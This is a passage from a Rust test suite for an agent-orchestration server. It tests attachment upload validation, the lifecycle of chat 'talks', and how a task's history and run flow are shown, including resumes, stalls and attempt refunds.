14975        assert!(svg.body.contains("SVG"), "{}", svg.body);
14976
14977        let text = f
14978            .post_bytes(
14979                &format!("/api/talks/{id}/attachments"),
14980                &[("Content-Type", "text/plain")],
14981                b"just some text",
14982            )
14983            .await;
14984        assert!(
14985            (400..500).contains(&text.status),
14986            "an unlisted type must be refused: {} {}",
14987            text.status,
14988            text.body
14989        );
14990
14991        // The declared type is a real png, but the size check runs before
14992        // the bytes are even looked at.
14993        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14994        let big = f
14995            .post_bytes(
14996                &format!("/api/talks/{id}/attachments"),
14997                &[("Content-Type", "image/png")],
14998                &oversized,
14999            )
15000            .await;
15001        assert_eq!(
15002            big.status,
15003            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15004            "{}",
15005            big.body
15006        );
15007    }
15008
15009    #[tokio::test]
15010    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15011        let f = Fixture::start().await;
15012        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15013
15014        // A whitelisted `Content-Type`, but bytes that are not actually a
15015        // png - the declared header alone is never trusted.
15016        let res = f
15017            .post_bytes(
15018                &format!("/api/talks/{id}/attachments"),
15019                &[("Content-Type", "image/png")],
15020                b"<html>not a picture</html>",
15021            )
15022            .await;
15023        assert!((400..500).contains(&res.status), "{}", res.body);
15024    }
15025
15026    #[tokio::test]
15027    async fn an_unknown_attachment_id_is_a_404() {
15028        let f = Fixture::start().await;
15029        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15030
15031        let res = f
15032            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15033            .await;
15034        assert_eq!(res.status, 404, "{}", res.body);
15035    }
15036
15037    #[tokio::test]
15038    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15039        let f = Fixture::start().await;
15040        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15041
15042        let uploaded = f
15043            .post_bytes(
15044                &format!("/api/talks/{id}/attachments"),
15045                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15046                PNG_BYTES,
15047            )
15048            .await;
15049        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15050        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15051
15052        let res = f
15053            .post(
15054                &format!("/api/talks/{id}/say"),
15055                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15056            )
15057            .await;
15058        assert_eq!(res.status, 202, "{}", res.body);
15059        let queued = res.json();
15060        let turns = queued["turns"].as_array().expect("turns array");
15061        assert_eq!(
15062            turns.len(),
15063            1,
15064            "an empty body with an attachment is still a turn: {queued}"
15065        );
15066        assert_eq!(turns[0]["who"], "operator");
15067        assert_eq!(turns[0]["body"], "");
15068        let atts = turns[0]["attachments"]
15069            .as_array()
15070            .expect("attachments array");
15071        assert_eq!(atts.len(), 1);
15072        assert_eq!(atts[0]["id"], att_id);
15073        assert_eq!(atts[0]["mime"], "image/png");
15074
15075        // Not only in the response: `record` flushes to disk before the
15076        // agent's own turn is even spawned.
15077        let on_disk = f.talks().get(&id).expect("get");
15078        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15079        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15080    }
15081
15082    #[tokio::test]
15083    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15084        let f = Fixture::start().await;
15085        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15086
15087        let res = f
15088            .post(
15089                &format!("/api/talks/{id}/say"),
15090                Some(&format!(
15091                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15092                    "a".repeat(32)
15093                )),
15094            )
15095            .await;
15096        assert!((400..500).contains(&res.status), "{}", res.body);
15097        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15098
15099        let on_disk = f.talks().get(&id).expect("get");
15100        assert!(
15101            on_disk.turns.is_empty(),
15102            "a rejected attachment id must not partially record the turn: {:?}",
15103            on_disk.turns
15104        );
15105    }
15106
15107    #[tokio::test]
15108    async fn talk_close_makes_the_talk_refuse_further_turns() {
15109        let f = Fixture::start().await;
15110        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15111
15112        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15113        assert_eq!(closed.status, 200, "{}", closed.body);
15114        assert_eq!(closed.json()["status"], "closed");
15115
15116        // Idempotent: closing an already-closed talk is not an error.
15117        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15118        assert_eq!(closed_again.status, 200);
15119        assert_eq!(closed_again.json()["status"], "closed");
15120
15121        let said = f
15122            .post(
15123                &format!("/api/talks/{id}/say"),
15124                Some(r#"{"text":"too late"}"#),
15125            )
15126            .await;
15127        assert_eq!(said.status, 409, "{}", said.body);
15128    }
15129
15130    #[tokio::test]
15131    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15132        let (_tmp, _repo, f) = talk_fixture().await;
15133        let id = f.post("/api/talks", None).await.json()["id"]
15134            .as_str()
15135            .expect("id")
15136            .to_owned();
15137        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15138        assert_eq!(closed.status, 200, "{}", closed.body);
15139
15140        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15141        assert_eq!(reopened.status, 200, "{}", reopened.body);
15142        assert_eq!(reopened.json()["status"], "open");
15143
15144        // Idempotent: reopening an already-open talk is not an error.
15145        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15146        assert_eq!(reopened_again.status, 200);
15147        assert_eq!(reopened_again.json()["status"], "open");
15148
15149        let said = f
15150            .post(
15151                &format!("/api/talks/{id}/say"),
15152                Some(r#"{"text":"still there?"}"#),
15153            )
15154            .await;
15155        assert_eq!(
15156            said.status, 202,
15157            "a reopened talk accepts turns again: {}",
15158            said.body
15159        );
15160    }
15161
15162    #[tokio::test]
15163    async fn talk_reopen_on_an_unknown_id_is_404() {
15164        let f = Fixture::start().await;
15165        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15166        assert_eq!(res.status, 404, "{}", res.body);
15167    }
15168
15169    #[tokio::test]
15170    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15171        let f = Fixture::start().await;
15172        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15173
15174        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15175        assert_eq!(deleted.status, 204, "{}", deleted.body);
15176
15177        let after = f.get(&format!("/api/talks/{id}")).await;
15178        assert_eq!(after.status, 404, "{}", after.body);
15179
15180        let listed = f.get("/api/talks").await.json();
15181        assert!(
15182            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15183            "a deleted talk must not linger in the list: {listed}"
15184        );
15185    }
15186
15187    #[tokio::test]
15188    async fn talk_delete_on_an_unknown_id_is_404() {
15189        let f = Fixture::start().await;
15190        let res = f.delete("/api/talks/nonexistent-id").await;
15191        assert_eq!(res.status, 404, "{}", res.body);
15192    }
15193
15194    /// A task's page lists every run it ever had, in order, and says what kind
15195    /// of attempt each was - including a resume, which re-pushes the same run
15196    /// id, and a run whose record this build cannot read.
15197    #[tokio::test]
15198    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15199        let f = Fixture::start().await;
15200        let (a, b, gone) = (
15201            "20260902-140501-aaaa",
15202            "20260902-140502-bbbb",
15203            "20260902-140503-cccc",
15204        );
15205        write_run(&f.runs(), a, RunStatus::Stalled);
15206        let mut review = RunState::new(
15207            PathBuf::from("/repo/magi"),
15208            "main".to_owned(),
15209            "0123456789abcdef".to_owned(),
15210            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15211                .to_owned(),
15212            Config::default(),
15213        );
15214        review.id = b.to_owned();
15215        review.status = RunStatus::Merged;
15216        write_state(&f.runs(), &review);
15217
15218        let mut task = Task::new(
15219            "retry".to_owned(),
15220            "Do the thing".to_owned(),
15221            PathBuf::from("/repo/magi"),
15222            Source::Human,
15223        );
15224        task.start(a.to_owned());
15225        task.stall("quota");
15226        task.start(a.to_owned());
15227        task.start(b.to_owned());
15228        task.start(gone.to_owned());
15229        // This fixture models an older queue file with repeated run entries.
15230        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15231        f.queue().put(&mut task).expect("file the task");
15232
15233        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15234        assert_eq!(res.status, 200, "{}", res.body);
15235        let v = res.json();
15236        let h = v["history"].as_array().expect("history");
15237        assert_eq!(h.len(), 4, "{v}");
15238        assert_eq!(h[0]["kind"], "competition");
15239        assert_eq!(h[0]["status"], "stalled");
15240        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15241        assert_eq!(h[1]["kind"], "resume", "{v}");
15242        assert!(
15243            h[0]["outcome"]
15244                .as_str()
15245                .unwrap()
15246                .contains("unknown. Pass #2"),
15247            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15248        );
15249        assert!(
15250            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15251            "{v}"
15252        );
15253        assert!(
15254            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15255            "an unrecorded cause must not be narrated as an operator park: {v}"
15256        );
15257        assert_eq!(h[2]["kind"], "review");
15258        assert!(
15259            h[2]["description"]
15260                .as_str()
15261                .unwrap()
15262                .contains("magi/aaaa/A")
15263        );
15264        assert_eq!(h[2]["status"], "merged");
15265        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15266        assert_eq!(v["runs_unreadable"], 1);
15267        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15268        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15269        assert_eq!(nodes[4]["note"], "unreadable");
15270        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15271        assert_eq!(v["instruction"], "Do the thing");
15272        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15273
15274        // The run's own page links back to the task.
15275        let run = f.get(&format!("/api/runs/{a}")).await.json();
15276        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15277
15278        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15279    }
15280
15281    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15282        let mut s = RunState::new(
15283            PathBuf::from("/repo/magi"),
15284            "main".to_owned(),
15285            "0123456789abcdef".to_owned(),
15286            "Do it".to_owned(),
15287            Config::default(),
15288        );
15289        s.status = status;
15290        edit(&mut s);
15291        s
15292    }
15293
15294    fn flow_task(runs: &[&str]) -> Task {
15295        let mut t = Task::new(
15296            "t".to_owned(),
15297            "Do it".to_owned(),
15298            PathBuf::from("/repo/magi"),
15299            Source::Human,
15300        );
15301        for r in runs {
15302            t.start((*r).to_owned());
15303        }
15304        // Synthetic flows without RunPass records model legacy queue data.
15305        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15306        t
15307    }
15308
15309    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15310        let h = task_history(task, |id| {
15311            states
15312                .iter()
15313                .find(|(i, _)| *i == id)
15314                .and_then(|(_, s)| s.clone())
15315        });
15316        task_flow(task, &h, 5, None)
15317    }
15318
15319    #[test]
15320    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15321        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15322        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15323        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15324        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15325        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15326        let run = flow_run(RunStatus::Implementing, |s| {
15327            s.created_at = created;
15328            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15329            s.passes[0].started_at = first;
15330            s.passes[1].started_at = resumed;
15331        });
15332        let mut task = flow_task(&[RUN_X, RUN_X]);
15333        task.created_at = queued;
15334        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15335        task.status = TaskStatus::Held;
15336        task.held_at = Some(held);
15337        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15338        assert_eq!(
15339            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15340            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15341        );
15342        assert!(flow.nodes.iter().all(|n| n.time_expected));
15343        let json = serde_json::to_value(&flow).unwrap();
15344        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15345        assert_eq!(json["nodes"][2]["time_expected"], true);
15346    }
15347
15348    #[test]
15349    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15350        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15351        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15352        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15353        // These timestamps are not the start of the current status.
15354        task.held_at = Some(created);
15355        task.blocked_at = Some(created);
15356        for status in [
15357            TaskStatus::Queued,
15358            TaskStatus::Running,
15359            TaskStatus::Blocked,
15360            TaskStatus::Done,
15361            TaskStatus::Failed,
15362            TaskStatus::Parked,
15363            TaskStatus::Held,
15364        ] {
15365            task.status = status;
15366            if status == TaskStatus::Held {
15367                task.held_at = None;
15368            }
15369            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15370            assert_eq!(flow.nodes[1].started_at, Some(created));
15371            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15372            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15373            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15374            let json = serde_json::to_value(&flow).unwrap();
15375            assert!(json["nodes"][3]["started_at"].is_null());
15376            assert_eq!(json["nodes"][3]["time_expected"], true);
15377        }
15378    }
15379
15380    #[test]
15381    fn flow_context_links_do_not_expect_start_times() {
15382        let mut task = flow_task(&[]);
15383        task.source = Source::Agent {
15384            run: "chat-id".to_owned(),
15385            node: "chat".to_owned(),
15386        };
15387        let origin = followup_origin(&fu(None), |_| None, |_| None);
15388        let flow = task_flow(&task, &[], 5, Some(&origin));
15389        for node in &flow.nodes[..2] {
15390            assert!(!node.time_expected);
15391            assert_eq!(node.started_at, None);
15392        }
15393        assert!(flow.nodes[2].time_expected);
15394    }
15395
15396    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15397        crate::queue::FollowUp {
15398            run: "20260901-000000-aaaa".to_owned(),
15399            origin_task: origin_task.map(str::to_owned),
15400            pr: "https://example.com/o/r/pull/1".to_owned(),
15401            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15402                .map(str::to_owned)
15403                .to_vec(),
15404            generation: 1,
15405        }
15406    }
15407
15408    fn parent_task() -> Task {
15409        let mut p = flow_task(&[]);
15410        p.title = "Parent title".to_owned();
15411        p.status = TaskStatus::Done;
15412        p
15413    }
15414
15415    #[test]
15416    fn flow_opens_with_the_parent_task_of_a_followup() {
15417        let p = parent_task();
15418        let pid = p.id.clone();
15419        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15420        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15421        let n = &f.nodes[0];
15422        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15423        assert_eq!(
15424            n.label,
15425            format!("Follow-up of {}", crate::queue::short(&pid))
15426        );
15427        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15428        assert_eq!(n.status, Some("done"));
15429        assert_eq!(n.status_of, "task");
15430        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15431        assert_eq!(f.nodes[1].key, "start");
15432        assert_eq!(f.edges[0].from, "origin");
15433        assert_eq!(
15434            f.edges[0].label,
15435            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15436        );
15437    }
15438
15439    #[test]
15440    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15441        let o = followup_origin(
15442            &fu(Some("gone")),
15443            |_| None,
15444            |_| {
15445                Some(RunState::new(
15446                    std::path::PathBuf::from("."),
15447                    "main".to_owned(),
15448                    "0".to_owned(),
15449                    "t".to_owned(),
15450                    crate::config::Config::default(),
15451                ))
15452            },
15453        );
15454        assert!(o.parent.is_none());
15455        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15456        let n = &f.nodes[0];
15457        assert_eq!(n.status_of, "run");
15458        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15459        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15460    }
15461
15462    #[test]
15463    fn flow_followup_with_nothing_readable_has_no_link() {
15464        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15465        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15466        let n = &f.nodes[0];
15467        assert_eq!(n.href, None);
15468        assert_eq!(n.note, Some("unreadable"));
15469        assert!(!n.readable);
15470    }
15471
15472    #[test]
15473    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15474        let o = followup_origin(&fu(None), |_| None, |_| None);
15475        let mut t = flow_task(&[]);
15476        t.origin_chat = Some("c1".to_owned());
15477        let f = task_flow(&t, &[], 5, Some(&o));
15478        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15479        t.source = Source::Agent {
15480            run: "c1".to_owned(),
15481            node: crate::queue::CHAT_NODE.to_owned(),
15482        };
15483        let f = task_flow(&t, &[], 5, Some(&o));
15484        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15485        assert_eq!(
15486            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15487            ("chat", "origin")
15488        );
15489    }
15490
15491    #[test]
15492    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15493        let mut p = parent_task();
15494        p.id = "a b/c".to_owned();
15495        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15496        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15497    }
15498
15499    #[test]
15500    fn flow_opens_with_the_chat_that_queued_the_task() {
15501        let mut t = flow_task(&[]);
15502        t.source = Source::Agent {
15503            run: "a b/c".to_owned(),
15504            node: crate::queue::CHAT_NODE.to_owned(),
15505        };
15506        let f = flow_for(&t, &[]);
15507        assert_eq!(f.nodes[0].key, "chat");
15508        assert_eq!(f.nodes[0].kind, "chat");
15509        assert_eq!(
15510            f.nodes[0].label,
15511            format!("Chat {}", crate::queue::short("a b/c"))
15512        );
15513        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15514        assert_eq!(f.nodes[1].key, "start");
15515        assert_eq!(
15516            f.edges[0],
15517            FlowEdge {
15518                from: "chat".to_owned(),
15519                to: "start".to_owned(),
15520                label: "queued from chat".to_owned(),
15521                attempt: AttemptCost::None,
15522            }
15523        );
15524    }
15525
15526    #[test]
15527    fn flow_has_no_chat_box_for_other_sources() {
15528        for source in [
15529            Source::Human,
15530            Source::Issue {
15531                number: 3,
15532                repo: "o/r".to_owned(),
15533            },
15534            Source::Agent {
15535                run: "20260904-014455-ab12".to_owned(),
15536                node: "implement".to_owned(),
15537            },
15538        ] {
15539            let mut t = flow_task(&[]);
15540            t.source = source;
15541            let f = flow_for(&t, &[]);
15542            assert_eq!(f.nodes[0].key, "start");
15543            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15544            assert!(f.edges.iter().all(|e| e.from != "chat"));
15545        }
15546    }
15547
15548    const FA: &str = "20260902-140501-aaaa";
15549    const FB: &str = "20260902-140502-bbbb";
15550
15551    #[test]
15552    fn flow_follows_blocked_retry_merged_to_done() {
15553        let mut t = flow_task(&[FA, FB]);
15554        t.status = TaskStatus::Done;
15555        let f = flow_for(
15556            &t,
15557            &[
15558                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15559                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15560            ],
15561        );
15562        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15563        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15564        assert_eq!(f.edges.len(), 3);
15565        assert_eq!(f.edges[0].label, "claimed");
15566        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15567        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15568        assert_eq!(f.edges[2].label, "merged \u{2192} done");
15569        assert_eq!(
15570            f.nodes[2].href.as_deref(),
15571            Some("#/runs/20260902-140502-bbbb")
15572        );
15573        assert!(f.nodes[2].decided);
15574    }
15575
15576    #[test]
15577    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15578        let quota = || {
15579            flow_run(RunStatus::Stalled, |s| {
15580                s.quota.push(crate::run::QuotaLoss {
15581                    seat: "judge-1".to_owned(),
15582                    node: "judge".to_owned(),
15583                    at: Timestamp::now(),
15584                    reset: None,
15585                })
15586            })
15587        };
15588        let mut t = flow_task(&[FA, FA]);
15589        t.status = TaskStatus::Queued;
15590        let f = flow_for(&t, &[(FA, Some(quota()))]);
15591        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15592        assert_eq!(f.nodes[1].note, Some("interrupted"));
15593        assert_eq!(
15594            f.nodes[1].status, None,
15595            "no outcome copied onto an earlier pass"
15596        );
15597        assert_eq!(
15598            f.edges[1].attempt,
15599            AttemptCost::Unknown,
15600            "a resume does not prove the earlier pass was refunded"
15601        );
15602        assert!(f.edges[1].label.contains("resume the same run"));
15603        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15604        assert_eq!(
15605            f.edges[2].label,
15606            "stalled after a resume, refund unknown \u{2192} queued"
15607        );
15608        assert!(!f.nodes[2].decided, "a stall is not a decision");
15609        assert_eq!(f.nodes[2].note, Some("no verdict"));
15610    }
15611
15612    #[test]
15613    fn flow_single_pass_quota_stall_is_refunded() {
15614        let t = flow_task(&[FA]);
15615        let f = flow_for(
15616            &t,
15617            &[(
15618                FA,
15619                Some(flow_run(RunStatus::Stalled, |s| {
15620                    s.quota.push(crate::run::QuotaLoss {
15621                        seat: "judge-1".to_owned(),
15622                        node: "judge".to_owned(),
15623                        at: Timestamp::now(),
15624                        reset: None,
15625                    })
15626                })),
15627            )],
15628        );
15629        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15630    }
15631
15632    #[test]
15633    fn flow_parked_refunds_and_stall_without_quota_spends() {
15634        let mut t = flow_task(&[FA]);
15635        t.status = TaskStatus::Queued;
15636        let f = flow_for(
15637            &t,
15638            &[(
15639                FA,
15640                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15641            )],
15642        );
15643        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15644        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15645        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15646        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15647        assert!(!f.nodes[1].decided);
15648    }
15649
15650    #[test]
15651    fn flow_keeps_an_unreadable_run_as_its_own_node() {
15652        let t = flow_task(&[FA, FB]);
15653        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15654        assert_eq!(f.nodes[1].note, Some("unreadable"));
15655        assert!(!f.nodes[1].readable);
15656        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15657        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15658    }
15659
15660    #[test]
15661    fn flow_names_the_branch_of_a_review_only_run() {
15662        let t = flow_task(&[FA]);
15663        let f = flow_for(
15664            &t,
15665            &[(
15666                FA,
15667                Some(flow_run(RunStatus::Merged, |s| {
15668                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15669                })),
15670            )],
15671        );
15672        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15673        assert_eq!(
15674            f.nodes[1].detail.as_deref(),
15675            Some("review-only run of branch magi/x/A")
15676        );
15677    }
15678
15679    #[test]
15680    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15681        let mut t = flow_task(&[FA]);
15682        t.status = TaskStatus::Held;
15683        let pr = crate::run::PrRecord {
15684            url: "https://example.test/pr/1".to_owned(),
15685            number: 1,
15686            state: "open".to_owned(),
15687            checks: "green".to_owned(),
15688            round: 0,
15689            rounds: 3,
15690            red_at_merge: Vec::new(),
15691        };
15692        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15693        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15694        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15695        t.status = TaskStatus::Done;
15696        let f = flow_for(&t, &[(FA, Some(blocked))]);
15697        assert_eq!(f.edges[1].label, "closed by hand: task is done");
15698    }
15699
15700    #[test]
15701    fn flow_with_no_runs_goes_from_queued_to_queued() {
15702        let t = flow_task(&[]);
15703        let f = flow_for(&t, &[]);
15704        assert_eq!(f.nodes.len(), 2);
15705        assert_eq!(f.edges.len(), 1);
15706        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15707        assert_eq!(f.edges[0].attempt, AttemptCost::None);
15708    }
15709
15710    /// A run parked mid-flight keeps a non-terminal status; the page must
15711    /// still say why it stopped and that the attempt came back.
15712    #[test]
15713    fn a_parked_non_terminal_run_is_explained_as_parked() {
15714        let mut s = RunState::new(
15715            PathBuf::from("/repo/magi"),
15716            "main".to_owned(),
15717            "0123456789abcdef".to_owned(),
15718            "Do it".to_owned(),
15719            Config::default(),
15720        );
15721        s.status = RunStatus::Implementing;
15722        s.parked = true;
15723        let task = Task::new(
15724            "t".to_owned(),
15725            "Do it".to_owned(),
15726            PathBuf::from("/repo/magi"),
15727            Source::Human,
15728        );
15729        let v = task_run_view(
15730            "20260902-140501-aaaa",
15731            Some(&s),
15732            RunSlot {
15733                n: 1,
15734                resumed: false,
15735                resumed_later: None,
15736                prior: None,
15737                last: true,
15738                ..RunSlot::default()
15739            },
15740            &task,
15741        );
15742        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15743    }
15744
15745    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15746        let mut s = flow_run(RunStatus::Implementing, edit);
15747        s.parked = false;
15748        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15749        task_run_view(
15750            "20260902-140501-aaaa",
15751            Some(&s),
15752            RunSlot {
15753                n: 1,
15754                resumed: false,
15755                resumed_later: Some(2),
15756                prior: None,
15757                last: false,
15758                ..RunSlot::default()
15759            },
15760            &task,
15761        )
15762    }
15763
15764    #[test]
15765    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15766        let v = earlier_pass_view(|_| {});
15767        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15768        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15769        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15770        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15771        assert_eq!(v.exit, RunExit::Interrupted);
15772        assert_eq!(v.attempt, AttemptCost::Unknown);
15773    }
15774
15775    #[test]
15776    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15777        let v = earlier_pass_view(|s| {
15778            s.quota.push(crate::run::QuotaLoss {
15779                seat: "judge-1".to_owned(),
15780                node: "judge".to_owned(),
15781                at: Timestamp::now(),
15782                reset: None,
15783            });
15784        });
15785        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15786        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15787        assert_eq!(v.attempt, AttemptCost::Unknown);
15788    }
15789
15790    #[test]
15791    fn the_current_pass_states_its_recorded_cause_and_cost() {
15792        let slot = || RunSlot {
15793            n: 1,
15794            resumed: false,
15795            resumed_later: None,
15796            prior: None,
15797            last: true,
15798            ..RunSlot::default()
15799        };
15800        let task = flow_task(&["20260902-140501-aaaa"]);
15801        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15802        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15803        assert_eq!(
15804            (v.exit, v.attempt),
15805            (RunExit::Parked, AttemptCost::Refunded)
15806        );
15807        let spent = flow_run(RunStatus::Blocked, |_| {});
15808        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15809        assert_eq!(v.attempt, AttemptCost::Spent);
15810        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15811    }
15812
15813    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15814        crate::run::RunPass {
15815            index,
15816            started_at: Timestamp::now(),
15817            resumed: index > 0,
15818            ended_at: end.as_ref().map(|_| Timestamp::now()),
15819            end,
15820            task_entry: true,
15821        }
15822    }
15823
15824    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15825        Some(crate::run::PassEnd::Parked { cause })
15826    }
15827
15828    fn upgrade_cause() -> crate::run::ParkCause {
15829        crate::run::ParkCause::Upgrade {
15830            from: "0.121.0".to_owned(),
15831            to: Some("0.121.1".to_owned()),
15832        }
15833    }
15834
15835    fn settled_pass(
15836        run: &str,
15837        index: usize,
15838        cost: crate::queue::PassCost,
15839    ) -> crate::queue::TaskPass {
15840        crate::queue::TaskPass {
15841            run: run.to_owned(),
15842            pass_index: index,
15843            cost,
15844            attempts_after: 1,
15845            settled_at: Timestamp::now(),
15846            parked: None,
15847        }
15848    }
15849
15850    const RUN_X: &str = "20261011-223708-4334";
15851
15852    #[test]
15853    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15854        use crate::queue::PassCost;
15855        let run = flow_run(RunStatus::Implementing, |s| {
15856            s.passes = vec![
